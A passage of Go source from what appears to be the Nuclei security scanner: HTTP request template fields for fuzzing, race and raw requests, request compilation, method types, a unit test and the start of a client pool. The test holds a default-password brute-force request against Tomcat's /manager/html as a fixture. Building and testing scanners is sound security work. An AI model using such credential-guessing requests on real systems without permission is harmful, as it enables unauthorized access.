bytes of the response\n\t//     value: 2048\n\tMaxSize int `yaml:\"max-size,omitempty\" json:\"max-size,omitempty\" jsonschema:\"title=maximum http response body size,description=Maximum size of http response body to read in bytes\"`\n\n\t// Fuzzing describes schema to fuzz http requests\n\tFuzzing []*fuzz.Rule `yaml:\"fuzzing,omitempty\" json:\"fuzzing,omitempty\" jsonschema:\"title=fuzzin rules for http fuzzing,description=Fuzzing describes rule schema to fuzz http requests\"`\n\t// description: |\n\t//   Analyzer is an analyzer to use for matching the response.\n\tAnalyzer *analyzers.AnalyzerTemplate `yaml:\"analyzer,omitempty\" json:\"analyzer,omitempty\" jsonschema:\"title=analyzer for http request,description=Analyzer for HTTP Request\"`\n\n\tCompiledOperators *operators.Operators `yaml:\"-\" json:\"-\"`\n\n\toptions           *protocols.ExecutorOptions\n\tconnConfiguration *httpclientpool.Configuration\n\ttotalRequests     int\n\tcustomHeaders     map[string]string\n\tgenerator         *generators.PayloadGenerator // optional, only enabled when using payloads\n\thttpClient        *retryablehttp.Client\n\trawhttpClient     *rawhttp.Client\n\tdialer            *fastdialer.Dialer\n\n\t// description: |\n\t//   SelfContained specifies if the request is self-contained.\n\tSelfContained bool `yaml:\"self-contained,omitempty\" json:\"self-contained,omitempty\"`\n\n\t// description: |\n\t//   Signature is the request signature method\n\t// values:\n\t//   - \"AWS\"\n\tSignature SignatureTypeHolder `yaml:\"signature,omitempty\" json:\"signature,omitempty\" jsonschema:\"title=signature is the http request signature method,description=Signature is the HTTP Request signature Method,enum=AWS\"`\n\n\t// description: |\n\t//   SkipSecretFile skips the authentication or authorization configured in the secret file.\n\tSkipSecretFile bool `yaml:\"skip-secret-file,omitempty\" json:\"skip-secret-file,omitempty\" jsonschema:\"title=bypass secret file,description=Skips the authentication or authorization configured in the secret file\"`\n\n\t// description: |\n\t//   CookieReuse is an optional setting that enables cookie reuse for\n\t//   all requests defined in raw section.\n\t// Deprecated: This is default now. Use disable-cookie to disable cookie reuse. cookie-reuse will be removed in future releases.\n\tCookieReuse bool `yaml:\"cookie-reuse,omitempty\" json:\"cookie-reuse,omitempty\" jsonschema:\"title=optional cookie reuse enable,description=Optional setting that enables cookie reuse\"`\n\n\t// description: |\n\t//   DisableCookie is an optional setting that disables cookie reuse\n\tDisableCookie bool `yaml:\"disable-cookie,omitempty\" json:\"disable-cookie,omitempty\" jsonschema:\"title=optional disable cookie reuse,description=Optional setting that disables cookie reuse\"`\n\n\t// description: |\n\t//   Enables force reading of the entire raw unsafe request body ignoring\n\t//   any specified content length headers.\n\tForceReadAllBody bool `yaml:\"read-all,omitempty\" json:\"read-all,omitempty\" jsonschema:\"title=force read all body,description=Enables force reading of entire unsafe http request body\"`\n\t// description: |\n\t//   Redirects specifies whether redirects should be followed by the HTTP Client.\n\t//\n\t//   This can be used in conjunction with `max-redirects` to control the HTTP request redirects.\n\tRedirects bool `yaml:\"redirects,omitempty\" json:\"redirects,omitempty\" jsonschema:\"title=follow http redirects,description=Specifies whether redirects should be followed by the HTTP Client\"`\n\t// description: |\n\t//   Redirects specifies whether only redirects to the same host should be followed by the HTTP Client.\n\t//\n\t//   This can be used in conjunction with `max-redirects` to control the HTTP request redirects.\n\tHostRedirects bool `yaml:\"host-redirects,omitempty\" json:\"host-redirects,omitempty\" jsonschema:\"title=follow same host http redirects,description=Specifies whether redirects to the same host should be followed by the HTTP Client\"`\n\t// description: |\n\t//   Pipeline defines if the attack should be performed with HTTP 1.1 Pipelining\n\t//\n\t//   All requests must be idempotent (GET/POST). This can be used for race conditions/billions requests.\n\tPipeline bool `yaml:\"pipeline,omitempty\" json:\"pipeline,omitempty\" jsonschema:\"title=perform HTTP 1.1 pipelining,description=Pipeline defines if the attack should be performed with HTTP 1.1 Pipelining\"`\n\t// description: |\n\t//   Unsafe specifies whether to use rawhttp engine for sending Non RFC-Compliant requests.\n\t//\n\t//   This uses the [rawhttp](https://github.com/projectdiscovery/rawhttp) engine to achieve complete\n\t//   control over the request, with no normalization performed by the client.\n\tUnsafe bool `yaml:\"unsafe,omitempty\" json:\"unsafe,omitempty\" jsonschema:\"title=use rawhttp non-strict-rfc client,description=Unsafe specifies whether to use rawhttp engine for sending Non RFC-Compliant requests\"`\n\t// description: |\n\t//   Race determines if all the request have to be attempted at the same time (Race Condition)\n\t//\n\t//   The actual number of requests that will be sent is determined by the `race_count`  field.\n\tRace bool `yaml:\"race,omitempty\" json:\"race,omitempty\" jsonschema:\"title=perform race-http request coordination attack,description=Race determines if all the request have to be attempted at the same time (Race Condition)\"`\n\t// description: |\n\t//   ReqCondition automatically assigns numbers to requests and preserves their history.\n\t//\n\t//   This allows matching on them later for multi-request conditions.\n\t// Deprecated: request condition will be detected automatically (https://github.com/projectdiscovery/nuclei/issues/2393)\n\tReqCondition bool `yaml:\"req-condition,omitempty\" json:\"req-condition,omitempty\" jsonschema:\"title=preserve request history,description=Automatically assigns numbers to requests and preserves their history\"`\n\t// description: |\n\t//   StopAtFirstMatch stops the execution of the requests and template as soon as a match is found.\n\tStopAtFirstMatch bool `yaml:\"stop-at-first-match,omitempty\" json:\"stop-at-first-match,omitempty\" jsonschema:\"title=stop at first match,description=Stop the execution after a match is found\"`\n\t// description: |\n\t//   SkipVariablesCheck skips the check for unresolved variables in request\n\tSkipVariablesCheck bool `yaml:\"skip-variables-check,omitempty\" json:\"skip-variables-check,omitempty\" jsonschema:\"title=skip variable checks,description=Skips the check for unresolved variables in request\"`\n\t// description: |\n\t//   IterateAll iterates all the values extracted from internal extractors\n\t// Deprecated: Use flow instead . iterate-all will be removed in future releases\n\tIterateAll bool `yaml:\"iterate-all,omitempty\" json:\"iterate-all,omitempty\" jsonschema:\"title=iterate all the values,description=Iterates all the values extracted from internal extractors\"`\n\t// description: |\n\t//   DigestAuthUsername specifies the username for digest authentication\n\tDigestAuthUsername string `yaml:\"digest-username,omitempty\" json:\"digest-username,omitempty\" jsonschema:\"title=specifies the username for digest authentication,description=Optional parameter which specifies the username for digest auth\"`\n\t// description: |\n\t//   DigestAuthPassword specifies the password for digest authentication\n\tDigestAuthPassword string `yaml:\"digest-password,omitempty\" json:\"digest-password,omitempty\" jsonschema:\"title=specifies the password for digest authentication,description=Optional parameter which specifies the password for digest auth\"`\n\t// description: |\n\t//  DisablePathAutomerge disables merging target url path with raw request path\n\tDisablePathAutomerge bool `yaml:\"disable-path-automerge,omitempty\" json:\"disable-path-automerge,omitempty\" jsonschema:\"title=disable auto merging of path,description=Disable merging target url path with raw request path\"`\n\t// description: |\n\t//   Fuzz PreCondition is matcher-like field to check if fuzzing should be performed on this request or not\n\tFuzzPreCondition []*matchers.Matcher `yaml:\"pre-condition,omitempty\" json:\"pre-condition,omitempty\" jsonschema:\"title=pre-condition for fuzzing/dast,description=PreCondition is matcher-like field to check if fuzzing should be performed on this request or not\"`\n\t// description: |\n\t//  FuzzPreConditionOperator is the operator between multiple PreConditions for fuzzing Default is OR\n\tFuzzPreConditionOperator string                 `yaml:\"pre-condition-operator,omitempty\" json:\"pre-condition-operator,omitempty\" jsonschema:\"title=condition between the filters,description=Operator to use between multiple per-conditions,enum=and,enum=or\"`\n\tfuzzPreConditionOperator matchers.ConditionType `yaml:\"-\" json:\"-\"`\n\t// description: |\n\t//   GlobalMatchers marks matchers as static and applies globally to all result events from other templates\n\tGlobalMatchers bool `yaml:\"global-matchers,omitempty\" json:\"global-matchers,omitempty\" jsonschema:\"title=global matchers,description=marks matchers as static and applies globally to all result events from other templates\"`\n}\n\nfunc (e Request) JSONSchemaExtend(schema *jsonschema.Schema) {\n\theadersSchema, ok := schema.Properties.Get(\"headers\")\n\tif !ok {\n\t\treturn\n\t}\n\theadersSchema.PatternProperties = map[string]*jsonschema.Schema{\n\t\t\".*\": {\n\t\t\tOneOf: []*jsonschema.Schema{\n\t\t\t\t{\n\t\t\t\t\tType: \"string\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tType: \"integer\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tType: \"boolean\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\theadersSchema.Ref = \"\"\n}\n\n// Options returns executer options for http request\nfunc (r *Request) Options() *protocols.ExecutorOptions {\n\treturn r.options\n}\n\n// RequestPartDefinitions contains a mapping of request part definitions and their\n// description. Multiple definitions are separated by commas.\n// Definitions not having a name (generated on runtime) are prefixed & suffixed by <>.\nvar RequestPartDefinitions = map[string]string{\n\t\"template-id\":           \"ID of the template executed\",\n\t\"template-info\":         \"Info Block of the template executed\",\n\t\"template-path\":         \"Path of the template executed\",\n\t\"host\":                  \"Host is the input to the template\",\n\t\"matched\":               \"Matched is the input which was matched upon\",\n\t\"type\":                  \"Type is the type of request made\",\n\t\"request\":               \"HTTP request made from the client\",\n\t\"response\":              \"HTTP response received from server\",\n\t\"status_code\":           \"Status Code received from the Server\",\n\t\"body\":                  \"HTTP response body received from server (default)\",\n\t\"content_length\":        \"HTTP Response content length\",\n\t\"header,all_headers\":    \"HTTP response headers\",\n\t\"duration\":              \"HTTP request time duration\",\n\t\"all\":                   \"HTTP response body + headers\",\n\t\"cookies_from_response\": \"HTTP response cookies in name:value format\",\n\t\"headers_from_response\": \"HTTP response headers in name:value format\",\n}\n\n// GetID returns the unique ID of the request if any.\nfunc (request *Request) GetID() string {\n\treturn request.ID\n}\n\nfunc (request *Request) isRaw() bool {\n\treturn len(request.Raw) > 0\n}\n\n// Compile compiles the protocol request for further execution.\nfunc (request *Request) Compile(options *protocols.ExecutorOptions) error {\n\tif err := request.validate(); err != nil {\n\t\treturn errors.Wrap(err, \"validation error\")\n\t}\n\n\tconnectionConfiguration := &httpclientpool.Configuration{\n\t\tThreads:       request.Threads,\n\t\tMaxRedirects:  request.MaxRedirects,\n\t\tNoTimeout:     false,\n\t\tDisableCookie: request.DisableCookie,\n\t\tConnection: &httpclientpool.ConnectionConfiguration{\n\t\t\tDisableKeepAlive: httputil.ShouldDisableKeepAlive(options.Options),\n\t\t},\n\t\tRedirectFlow: httpclientpool.DontFollowRedirect,\n\t}\n\tvar customTimeout int\n\tif request.Analyzer != nil && request.Analyzer.Name == \"time_delay\" {\n\t\tvar timeoutVal int\n\t\tif timeout, ok := request.Analyzer.Parameters[\"sleep_duration\"]; ok {\n\t\t\ttimeoutVal, _ = timeout.(int)\n\t\t} else {\n\t\t\ttimeoutVal = 5\n\t\t}\n\n\t\t// Add 5x buffer to the timeout\n\t\tcustomTimeout = int(math.Ceil(float64(timeoutVal) * 5))\n\t}\n\tif customTimeout > 0 {\n\t\tconnectionConfiguration.Connection.CustomMaxTimeout = time.Duration(customTimeout) * time.Second\n\t}\n\n\tif request.Redirects || options.Options.FollowRedirects {\n\t\tconnectionConfiguration.RedirectFlow = httpclientpool.FollowAllRedirect\n\t}\n\tif request.HostRedirects || options.Options.FollowHostRedirects {\n\t\tconnectionConfiguration.RedirectFlow = httpclientpool.FollowSameHostRedirect\n\t}\n\n\t// If we have request level timeout, ignore http client timeouts\n\tfor _, req := range request.Raw {\n\t\tif reTimeoutAnnotation.MatchString(req) {\n\t\t\tconnectionConfiguration.NoTimeout = true\n\t\t}\n\t}\n\trequest.connConfiguration = connectionConfiguration\n\n\tclient, err := httpclientpool.Get(options.Options, connectionConfiguration)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not get dns client\")\n\t}\n\trequest.customHeaders = make(map[string]string)\n\trequest.httpClient = client\n\n\tdialer, err := networkclientpool.Get(options.Options, &networkclientpool.Configuration{\n\t\tCustomDialer: options.CustomFastdialer,\n\t})\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not get dialer\")\n\t}\n\trequest.dialer = dialer\n\n\trequest.options = options\n\tfor _, option := range request.options.Options.CustomHeaders {\n\t\tparts := strings.SplitN(option, \":\", 2)\n\t\tif len(parts) != 2 {\n\t\t\tcontinue\n\t\t}\n\t\trequest.customHeaders[parts[0]] = strings.TrimSpace(parts[1])\n\t}\n\n\tif request.Body != \"\" && !strings.Contains(request.Body, \"\\r\\n\") {\n\t\trequest.Body = strings.ReplaceAll(request.Body, \"\\n\", \"\\r\\n\")\n\t}\n\tif len(request.Raw) > 0 {\n\t\tfor i, raw := range request.Raw {\n\t\t\tif !strings.Contains(raw, \"\\r\\n\") {\n\t\t\t\trequest.Raw[i] = strings.ReplaceAll(raw, \"\\n\", \"\\r\\n\")\n\t\t\t}\n\t\t}\n\t\trequest.rawhttpClient = httpclientpool.GetRawHTTP(options)\n\t}\n\tif len(request.Matchers) > 0 || len(request.Extractors) > 0 {\n\t\tcompiled := &request.Operators\n\t\tcompiled.ExcludeMatchers = options.ExcludeMatchers\n\t\tcompiled.TemplateID = options.TemplateID\n\t\tif compileErr := compiled.Compile(); compileErr != nil {\n\t\t\treturn errors.Wrap(compileErr, \"could not compile operators\")\n\t\t}\n\t\trequest.CompiledOperators = compiled\n\t}\n\n\t// === fuzzing filters ===== //\n\n\tif request.FuzzPreConditionOperator != \"\" {\n\t\trequest.fuzzPreConditionOperator = matchers.ConditionTypes[request.FuzzPreConditionOperator]\n\t} else {\n\t\trequest.fuzzPreConditionOperator = matchers.ORCondition\n\t}\n\n\tfor _, filter := range request.FuzzPreCondition {\n\t\tif err := filter.CompileMatchers(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile matcher\")\n\t\t}\n\t}\n\n\tif request.Analyzer != nil {\n\t\tif analyzer := analyzers.GetAnalyzer(request.Analyzer.Name); analyzer == nil {\n\t\t\treturn errors.Errorf(\"analyzer %s not found\", request.Analyzer.Name)\n\t\t}\n\t}\n\n\t// Resolve payload paths from vars if they exists\n\tfor name, payload := range request.options.Options.Vars.AsMap() {\n\t\tpayloadStr, ok := payload.(string)\n\t\t// check if inputs contains the payload\n\t\tvar hasPayloadName bool\n\t\t// search for markers in all request parts\n\t\tvar inputs []string\n\t\tinputs = append(inputs, request.Method.String(), request.Body)\n\t\tinputs = append(inputs, request.Raw...)\n\t\tfor k, v := range request.customHeaders {\n\t\t\tinputs = append(inputs, fmt.Sprintf(\"%s: %s\", k, v))\n\t\t}\n\t\tfor k, v := range request.Headers {\n\t\t\tinputs = append(inputs, fmt.Sprintf(\"%s: %s\", k, v))\n\t\t}\n\n\t\tfor _, input := range inputs {\n\t\t\tif expressions.ContainsVariablesWithNames(map[string]interface{}{name: payload}, input) == nil {\n\t\t\t\thasPayloadName = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif ok && hasPayloadName && fileutil.FileExists(payloadStr) {\n\t\t\tif request.Payloads == nil {\n\t\t\t\trequest.Payloads = make(map[string]interface{})\n\t\t\t}\n\t\t\trequest.Payloads[name] = payloadStr\n\t\t}\n\t}\n\n\t// tries to drop unused payloads - by marshaling sections that might contain the payload\n\tunusedPayloads := make(map[string]struct{})\n\trequestSectionsToCheck := []interface{}{\n\t\trequest.customHeaders, request.Headers, request.Matchers,\n\t\trequest.Extractors, request.Body, request.Path, request.Raw, request.Fuzzing,\n\t}\n\tif requestSectionsToCheckData, err := json.Marshal(requestSectionsToCheck); err == nil {\n\t\tfor payload := range request.Payloads {\n\t\t\tif bytes.Contains(requestSectionsToCheckData, []byte(payload)) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tunusedPayloads[payload] = struct{}{}\n\t\t}\n\t}\n\tfor payload := range unusedPayloads {\n\t\tdelete(request.Payloads, payload)\n\t}\n\n\tif len(request.Payloads) > 0 {\n\t\trequest.generator, err = generators.New(request.Payloads, request.AttackType.Value, request.options.TemplatePath, request.options.Catalog, request.options.Options.AttackType, request.options.Options)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not parse payloads\")\n\t\t}\n\t}\n\trequest.options = options\n\trequest.totalRequests = request.Requests()\n\n\tif len(request.Fuzzing) > 0 {\n\t\tif request.Unsafe {\n\t\t\treturn errors.New(\"cannot use unsafe with http fuzzing templates\")\n\t\t}\n\t\tfor _, rule := range request.Fuzzing {\n\t\t\tif fuzzingMode := options.Options.FuzzingMode; fuzzingMode != \"\" {\n\t\t\t\trule.Mode = fuzzingMode\n\t\t\t}\n\t\t\tif fuzzingType := options.Options.FuzzingType; fuzzingType != \"\" {\n\t\t\t\trule.Type = fuzzingType\n\t\t\t}\n\t\t\tif err := rule.Compile(request.generator, request.options); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"could not compile fuzzing rule\")\n\t\t\t}\n\t\t}\n\t}\n\tif len(request.Payloads) > 0 {\n\t\t// Due to a known issue (https://github.com/projectdiscovery/nuclei/issues/5015),\n\t\t// dynamic extractors cannot be used with payloads. To address this,\n\t\t// execution is handled by the standard engine without concurrency,\n\t\t// achieved by setting the thread count to 0.\n\n\t\t// this limitation will be removed once we have a better way to handle dynamic extractors with payloads\n\t\thasMultipleRequests := false\n\t\tif len(request.Raw)+len(request.Path) > 1 {\n\t\t\thasMultipleRequests = true\n\t\t}\n\t\t// look for dynamic extractor ( internal: true with named extractor)\n\t\thasNamedInternalExtractor := false\n\t\tfor _, extractor := range request.Extractors {\n\t\t\tif extractor.Internal && extractor.Name != \"\" {\n\t\t\t\thasNamedInternalExtractor = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif hasNamedInternalExtractor && hasMultipleRequests {\n\t\t\tstats.Increment(SetThreadToCountZero)\n\t\t\trequest.Threads = 0\n\t\t} else {\n\t\t\t// specifically for http requests high concurrency and threads will lead to memory exhaustion, hence reduce the maximum parallelism\n\t\t\tif protocolstate.IsLowOnMemory() {\n\t\t\t\trequest.Threads = protocolstate.GuardThreadsOrDefault(request.Threads)\n\t\t\t}\n\t\t\trequest.Threads = options.GetThreadsForNPayloadRequests(request.Requests(), request.Threads)\n\t\t}\n\t}\n\treturn nil\n}\n\n// RebuildGenerator rebuilds the generator for the request\nfunc (request *Request) RebuildGenerator() error {\n\tgenerator, err := generators.New(request.Payloads, request.AttackType.Value, request.options.TemplatePath, request.options.Catalog, request.options.Options.AttackType, request.options.Options)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not parse payloads\")\n\t}\n\trequest.generator = generator\n\treturn nil\n}\n\n// Requests returns the total number of requests the YAML rule will perform\nfunc (request *Request) Requests() int {\n\tgenerator := request.newGenerator(false)\n\treturn generator.Total()\n}\n\nconst (\n\tSetThreadToCountZero = \"set-thread-count-to-zero\"\n)\n\nfunc init() {\n\tstats.NewEntry(SetThreadToCountZero, \"Setting thread count to 0 for %d templates, dynamic extractors are not supported with payloads yet\")\n}\n\n// UpdateOptions replaces this request's options with a new copy\nfunc (r *Request) UpdateOptions(opts *protocols.ExecutorOptions) {\n\tr.options.ApplyNewEngineOptions(opts)\n}\n\n// HasFuzzing indicates whether the request has fuzzing rules defined.\nfunc (request *Request) HasFuzzing() bool {\n\treturn len(request.Fuzzing) > 0\n}\n"
  },
  {
    "path": "pkg/protocols/http/http_method_types.go",
    "content": "package http\n\nimport (\n\t\"errors\"\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// HTTPMethodType is the type of the method specified\ntype HTTPMethodType int\n\n// name:HTTPMethodType\nconst (\n\t// name:GET\n\tHTTPGet HTTPMethodType = iota + 1\n\t// name:HEAD\n\tHTTPHead\n\t// name:POST\n\tHTTPPost\n\t// name:PUT\n\tHTTPPut\n\t// name:DELETE\n\tHTTPDelete\n\t// name:CONNECT\n\tHTTPConnect\n\t// name:OPTIONS\n\tHTTPOptions\n\t// name:TRACE\n\tHTTPTrace\n\t// name:PATCH\n\tHTTPPatch\n\t// name:PURGE\n\tHTTPPurge\n\t// name:Debug\n\tHTTPDebug\n\tlimit\n)\n\n// HTTPMethodMapping is a table for conversion of method from string.\nvar HTTPMethodMapping = map[HTTPMethodType]string{\n\tHTTPGet:     \"GET\",\n\tHTTPHead:    \"HEAD\",\n\tHTTPPost:    \"POST\",\n\tHTTPPut:     \"PUT\",\n\tHTTPDelete:  \"DELETE\",\n\tHTTPConnect: \"CONNECT\",\n\tHTTPOptions: \"OPTIONS\",\n\tHTTPTrace:   \"TRACE\",\n\tHTTPPatch:   \"PATCH\",\n\tHTTPPurge:   \"PURGE\",\n\tHTTPDebug:   \"DEBUG\",\n}\n\n// GetSupportedHTTPMethodTypes returns list of supported types\nfunc GetSupportedHTTPMethodTypes() []HTTPMethodType {\n\tvar result []HTTPMethodType\n\tfor index := HTTPMethodType(1); index < limit; index++ {\n\t\tresult = append(result, index)\n\t}\n\treturn result\n}\n\nfunc toHTTPMethodTypes(valueToMap string) (HTTPMethodType, error) {\n\tnormalizedValue := normalizeValue(valueToMap)\n\tfor key, currentValue := range HTTPMethodMapping {\n\t\tif normalizedValue == currentValue {\n\t\t\treturn key, nil\n\t\t}\n\t}\n\treturn -1, errors.New(\"Invalid HTTP method verb: \" + valueToMap)\n}\n\nfunc normalizeValue(value string) string {\n\treturn strings.TrimSpace(strings.ToUpper(value))\n}\n\nfunc (t HTTPMethodType) String() string {\n\treturn HTTPMethodMapping[t]\n}\n\n// HTTPMethodTypeHolder is used to hold internal type of the HTTP Method\ntype HTTPMethodTypeHolder struct {\n\tMethodType HTTPMethodType `mapping:\"true\"`\n}\n\nfunc (holder HTTPMethodTypeHolder) String() string {\n\treturn holder.MethodType.String()\n}\n\nfunc (holder HTTPMethodTypeHolder) JSONSchema() *jsonschema.Schema {\n\tgotType := &jsonschema.Schema{\n\t\tType:        \"string\",\n\t\tTitle:       \"method is the HTTP request method\",\n\t\tDescription: \"Method is the HTTP Request Method\",\n\t}\n\tfor _, types := range GetSupportedHTTPMethodTypes() {\n\t\tgotType.Enum = append(gotType.Enum, types.String())\n\t}\n\treturn gotType\n}\n\nfunc (holder *HTTPMethodTypeHolder) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar marshalledTypes string\n\tif err := unmarshal(&marshalledTypes); err != nil {\n\t\treturn err\n\t}\n\n\tcomputedType, err := toHTTPMethodTypes(marshalledTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.MethodType = computedType\n\treturn nil\n}\n\nfunc (holder *HTTPMethodTypeHolder) UnmarshalJSON(data []byte) error {\n\ts := strings.Trim(string(data), `\"`)\n\tif s == \"\" {\n\t\treturn nil\n\t}\n\tcomputedType, err := toHTTPMethodTypes(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.MethodType = computedType\n\treturn nil\n}\n\nfunc (holder *HTTPMethodTypeHolder) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(holder.MethodType.String())\n}\n\nfunc (holder HTTPMethodTypeHolder) MarshalYAML() (interface{}, error) {\n\treturn holder.MethodType.String(), nil\n}\n"
  },
  {
    "path": "pkg/protocols/http/http_test.go",
    "content": "package http\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc TestHTTPCompile(t *testing.T) {\n\toptions := testutils.DefaultOptions\n\toptions.CustomHeaders = []string{\"User-Agent: test\", \"Hello: World\"}\n\n\ttestutils.Init(options)\n\ttemplateID := \"testing-http\"\n\trequest := &Request{\n\t\tName: \"testing\",\n\t\tPayloads: map[string]interface{}{\n\t\t\t\"username\": []string{\"admin\"},\n\t\t\t\"password\": []string{\"admin\", \"guest\", \"password\", \"test\", \"12345\", \"123456\"},\n\t\t},\n\t\tAttackType: generators.AttackTypeHolder{Value: generators.ClusterBombAttack},\n\t\tRaw: []string{`GET /manager/html HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Nuclei - Open-source project (github.com/projectdiscovery/nuclei)\nConnection: close\nAuthorization: Basic {{username + ':' + password}}\nAccept-Encoding: gzip`},\n\t}\n\texecuterOpts := testutils.NewMockExecuterOptions(options, &testutils.TemplateInfo{\n\t\tID:   templateID,\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\terr := request.Compile(executerOpts)\n\trequire.Nil(t, err, \"could not compile http request\")\n\trequire.Equal(t, 6, request.Requests(), \"could not get correct number of requests\")\n\trequire.Equal(t, map[string]string{\"User-Agent\": \"test\", \"Hello\": \"World\"}, request.customHeaders, \"could not get correct custom headers\")\n}\n"
  },
  {
    "path": "pkg/protocols/http/httpclientpool/clientpool.go",
    "content": "package httpclientpool\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/cookiejar\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\t\"golang.org/x/net/proxy\"\n\t\"golang.org/x/net/publicsuffix\"\n\n\t\"github.com/projectdiscovery/fastdialer/fastdialer/ja3/impersonate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types/scanstrategy\"\n\t\"github.com/projectdiscovery/rawhttp\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nvar (\n\tforceMaxRedirects int\n)\n\n// Init initializes the clientpool implementation\nfunc Init(options *types.Options) error {\n\tif options.ShouldFollowHTTPRedirects() {\n\t\tforceMaxRedirects = options.MaxRedirects\n\t}\n\n\treturn nil\n}\n\n// ConnectionConfiguration contains the custom configuration options for a connection\ntype ConnectionConfiguration struct {\n\t// DisableKeepAlive of the connection\n\tDisableKeepAlive bool\n\t// CustomMaxTimeout is the custom timeout for the connection\n\t// This overrides all other timeouts and is used for accurate time based fuzzing.\n\tCustomMaxTimeout time.Duration\n\tcookiejar        *cookiejar.Jar\n\tmu               sync.RWMutex\n}\n\nfunc (cc *ConnectionConfiguration) SetCookieJar(cookiejar *cookiejar.Jar) {\n\tcc.mu.Lock()\n\tdefer cc.mu.Unlock()\n\n\tcc.cookiejar = cookiejar\n}\n\nfunc (cc *ConnectionConfiguration) GetCookieJar() *cookiejar.Jar {\n\tcc.mu.RLock()\n\tdefer cc.mu.RUnlock()\n\n\treturn cc.cookiejar\n}\n\nfunc (cc *ConnectionConfiguration) HasCookieJar() bool {\n\tcc.mu.RLock()\n\tdefer cc.mu.RUnlock()\n\n\treturn cc.cookiejar != nil\n}\n\n// Configuration contains the custom configuration options for a client\ntype Configuration struct {\n\t// Threads contains the threads for the client\n\tThreads int\n\t// MaxRedirects is the maximum number of redirects to follow\n\tMaxRedirects int\n\t// NoTimeout disables http request timeout for context based usage\n\tNoTimeout bool\n\t// DisableCookie disables cookie reuse for the http client (cookiejar impl)\n\tDisableCookie bool\n\t// FollowRedirects specifies the redirects flow\n\tRedirectFlow RedirectFlow\n\t// Connection defines custom connection configuration\n\tConnection *ConnectionConfiguration\n\t// ResponseHeaderTimeout is the timeout for response body to be read from the server\n\tResponseHeaderTimeout time.Duration\n}\n\nfunc (c *Configuration) Clone() *Configuration {\n\tclone := *c\n\tif c.Connection != nil {\n\t\tcloneConnection := &ConnectionConfiguration{\n\t\t\tDisableKeepAlive: c.Connection.DisableKeepAlive,\n\t\t\tCustomMaxTimeout: c.Connection.CustomMaxTimeout,\n\t\t}\n\t\tif c.Connection.HasCookieJar() {\n\t\t\tcookiejar := *c.Connection.GetCookieJar()\n\t\t\tcloneConnection.SetCookieJar(&cookiejar)\n\t\t}\n\t\tclone.Connection = cloneConnection\n\t}\n\n\treturn &clone\n}\n\n// Hash returns the hash of the configuration to allow client pooling\nfunc (c *Configuration) Hash() string {\n\tbuilder := &strings.Builder{}\n\tbuilder.Grow(16)\n\tbuilder.WriteString(\"t\")\n\tbuilder.WriteString(strconv.Itoa(c.Threads))\n\tbuilder.WriteString(\"m\")\n\tbuilder.WriteString(strconv.Itoa(c.MaxRedirects))\n\tbuilder.WriteString(\"n\")\n\tbuilder.WriteString(strconv.FormatBool(c.NoTimeout))\n\tbuilder.WriteString(\"f\")\n\tbuilder.WriteString(strconv.Itoa(int(c.RedirectFlow)))\n\tbuilder.WriteString(\"r\")\n\tbuilder.WriteString(strconv.FormatBool(c.DisableCookie))\n\tbuilder.WriteString(\"c\")\n\tbuilder.WriteString(strconv.FormatBool(c.Connection != nil))\n\tif c.Connection != nil && c.Connection.CustomMaxTimeout > 0 {\n\t\tbuilder.WriteString(\"k\")\n\t\tbuilder.WriteString(c.Connection.CustomMaxTimeout.String())\n\t}\n\tbuilder.WriteString(\"r\")\n\tbuilder.WriteString(strconv.FormatInt(int64(c.ResponseHeaderTimeout.Seconds()), 10))\n\thash := builder.String()\n\treturn hash\n}\n\n// HasStandardOptions checks whether the configuration requires custom settings\nfunc (c *Configuration) HasStandardOptions() bool {\n\treturn c.Threads == 0 && c.MaxRedirects == 0 && c.RedirectFlow == DontFollowRedirect && c.DisableCookie && c.Connection == nil && !c.NoTimeout && c.ResponseHeaderTimeout == 0\n}\n\n// GetRawHTTP returns the rawhttp request client\nfunc GetRawHTTP(options *protocols.ExecutorOptions) *rawhttp.Client {\n\tdialers := protocolstate.GetDialersWithId(options.Options.ExecutionId)\n\tif dialers == nil {\n\t\tpanic(\"dialers not initialized for execution id: \" + options.Options.ExecutionId)\n\t}\n\n\t// Lock the dialers to avoid a race when setting RawHTTPClient\n\tdialers.Lock()\n\tdefer 